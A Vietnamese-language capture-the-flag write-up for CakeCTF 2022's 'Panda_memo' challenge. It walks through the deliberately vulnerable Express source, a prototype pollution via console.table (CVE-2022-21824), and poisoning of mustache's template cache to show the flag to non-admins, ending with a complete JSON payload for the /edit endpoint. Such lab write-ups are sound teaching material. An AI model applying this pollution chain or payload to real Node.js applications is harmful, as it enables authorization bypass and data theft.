# Writeup Panda_memo - CakeCTF 2022 ###### tags: `Prototype Pollution` Challage cung cấp cho ta một trang viết và thêm note, nhưng trước khi truy cập vào ta phải đăng nhập trước đã, có thể đăng nhập với ``username:guest`` và ``password:guest`` ![](https://i.imgur.com/ZDmJ1QD.png) ![](https://i.imgur.com/YYO1j1d.png) Ngoài ra ta cũng có source code: ```javascript const fs = require('fs'); const path = require('path'); const express = require('express'); const auth = require('express-basic-auth'); const mustache = require('mustache'); const app = express(); const SECRET = process.env["SECRET"] || "ADMIN_SECRET"; const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}"; const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest"; const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest"; app.engine('html', function (filePath, options, callback) { fs.readFile(filePath, function (err, content) { if (err) return callback(err); let rendered = mustache.render(content.toString(), options); return callback(null, rendered); }); }); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'html'); app.use(express.json()); app.use(auth({ challenge: true, unauthorizedResponse: () => { return "Unauthorized"; }, authorizer: (username, password) => { return auth.safeCompare(username, BASIC_USERNAME) && auth.safeCompare(password, BASIC_PASSWORD); } })); const isAdmin = req => req.query.secret === SECRET; const getAdminRole = req => { /* Return array of admin roles (such as admin, developer). More roles are to be added in the future. */ return isAdmin(req) ? ['admin'] : []; } let memo = {}; app.get('/', (req, res) => res.render('index')); /** Create new memo */ app.post('/new', (req, res) => { /* Create new memo */ if (!(req.ip in memo)) memo[req.ip] = []; memo[req.ip].push(""); res.json({status: 'success'}); }); /** Delete memo */ app.post('/del', (req, res) => { let index = req.body.index; /* Delete memo */ if ((req.ip in memo) && (index in memo[req.ip])) { memo[req.ip].splice(index, 1); res.json({status: 'success', result: 'Successfully deleted'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); /** Get memo list */ app.get('/show', (req, res) => { let ip = req.ip; /* We don't need to call isAdmin here because only admin can see console log. */ if (req.body.debug == true) console.table(memo, req.body.inspect); /* Admin can read anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Return memo */ if (ip in memo) res.json({status: 'success', result: memo[ip]}); else res.json({status: 'error', result: 'Memo not found'}); }); /** Edit memo */ app.post('/edit', (req, res) => { let ip = req.ip; let index = req.body.index; let new_memo = req.body.memo; /* Admin can edit anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Update memo */ if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); /** Admin panel */ app.get('/admin', (req, res) => { res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); }); app.listen(3000, () => { console.log("Server is up!"); }); ``` Dễ thấy mục đích của ta là set ``isAdmin`` thành true đẻ lấy flag khi truy cập ``/admin`` ```javascript app.get('/admin', (req, res) => { res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); }); ``` Tại endpoint ``/show`` ta thấy 1 điểm đáng nghi: ```javascript if (req.body.debug == true) console.table(memo, req.body.inspect); ``` Tại endpoint ``/edit`` ta cũng thấy 1 điểm đáng nghi: ```javascript /* Admin can edit anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Update memo */ if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'}); } else { res.json({status: 'error', result: 'Memo not found'}); } ``` Ta thấy hàm ``console.table`` được sử dụng để in ra console nộ dung của ``req.body.inspect`` dưới dạng table. Sau khi research về hàm này. mình phát hiện nó dính một CVE cho phép ta có thể thực thi prototype polution (https://nvd.nist.gov/vuln/detail/CVE-2022-21824) Cụ thể là do việc ``console.table`` có logic format bị đần, khi ta truyền vào param đầu là 1 object có ít nhất 1 property, và param thứ 2 là một property nào đó. Thì số lượng key của object có chứa property ở param thứ 2 sẽ được gán chuỗi rỗng tương ứng với số lượng property của object tại param 2 Ví dụ: ```javascript console.table({foo: 'bar'}, ['__proto__']) Object.prototype[0] === '' => True ``` Ở ví dụ trên vì object ở param 1 có 1 property, nên key đầu tiên của ``Object.prototype`` sẽ được gán chuỗi rỗng từ đó sẽ khác undefine Lợi dụng hành vi trên ta có thể prototype pollution tại ``/show`` khiến cho ``Object.prototype[0] !== undefine`` từ đó tại ``edit`` ta có thể tùy ý thay đổi giá trị của biến ``ip`` từ đó có thể pollution được bất kỳ Object nào Tuy nhiên ta không thể pollute được ``isAdmin`` vì nó cần SECRET key Vậy thì còn điểm nào trong chương trình mà ta có thể lợi dụng? Nhìn vào thư viện mà chall sử dụng ta thấy có ``mustache.js`` và trong đó có đoạn code như sau: ```javascript /** * Parses and caches the given `template` according to the given `tags` or * `mustache.tags` if `tags` is omitted, and returns the array of tokens * that is generated from the parse. */ Writer.prototype.parse = function parse (template, tags) { var cache = this.templateCache; var cacheKey = template + ':' + (tags || mustache.tags).join(':'); var isCacheEnabled = typeof cache !== 'undefined'; var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined; if (tokens == undefined) { tokens = parseTemplate(template, tags); isCacheEnabled && cache.set(cacheKey, tokens); } return tokens; }; ... function Writer () { this.templateCache = { _cache: {}, set: function set (key, value) { this._cache[key] = value; }, get: function get (key) { return this._cache[key]; }, clear: function clear () { this._cache = {}; } }; } ``` Đoạn code trên sẽ parse và cache template được cung cấp, sau đó trả về template đã render qua biến ``tokens`` Để ý thấy tại dòng này: ```javascript var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined; ``` Ta hoàn toàn có thể kiếm soát được ``tokens`` trả về thông qua method get, và method get này sẽ bị polluted thông qua ``cacheKey`` ta truyền vào. Hay nói dễ hiểu hơn, ta sẽ pollute vào cache ghi đè value của template ``/admin`` sao cho dù ``isAdmin`` là false thì vẫn đọc flag được Để làm được trước tiên ta cần biết format của ``cacheKey`` và ``token``, debug tại chính source thư viện để get được format hiện tại của 2 giá trị trên: ![](https://i.imgur.com/vEfV23p.png) Ta truy cập ``/admin`` để nó ghi cache và console.log ra format cache value và cache key: ![](https://i.imgur.com/QPwkTzB.png) Có được format của key và value bây giờ ta chỉ cần polluted nó vào cache, tuy nhiên để ``isAdmin`` là false vần hiển thị flag ta sẽ thay ``#`` thành ``^``, giải thích đơn giản là trong template này ``#`` tương tự như ``==`` còn ``^`` tương tự như ``!=`` Payload: ```javascript { "ip":"__proto__","index":"<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n {{#is_admin}}\n FLAG: <code>{{flag}}</code>\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n </p>\n </article>\n </main>\n </body>\n</html>\n:{{:}}","memo":"[["text","<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n",0,464],["^","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text"," <mark>Access Denied</mark>\n",614,661]],681],["text"," </p>\n </article>\n </main>\n </body>\n</html>\n",695,775]]" } ``` Gửi payload tại endpoint ``/edit`` và truy cập ``/admin`` để lấy flag thôi ![](https://i.imgur.com/16KxLI6.png) ![](https://i.imgur.com/hb3rULW.png)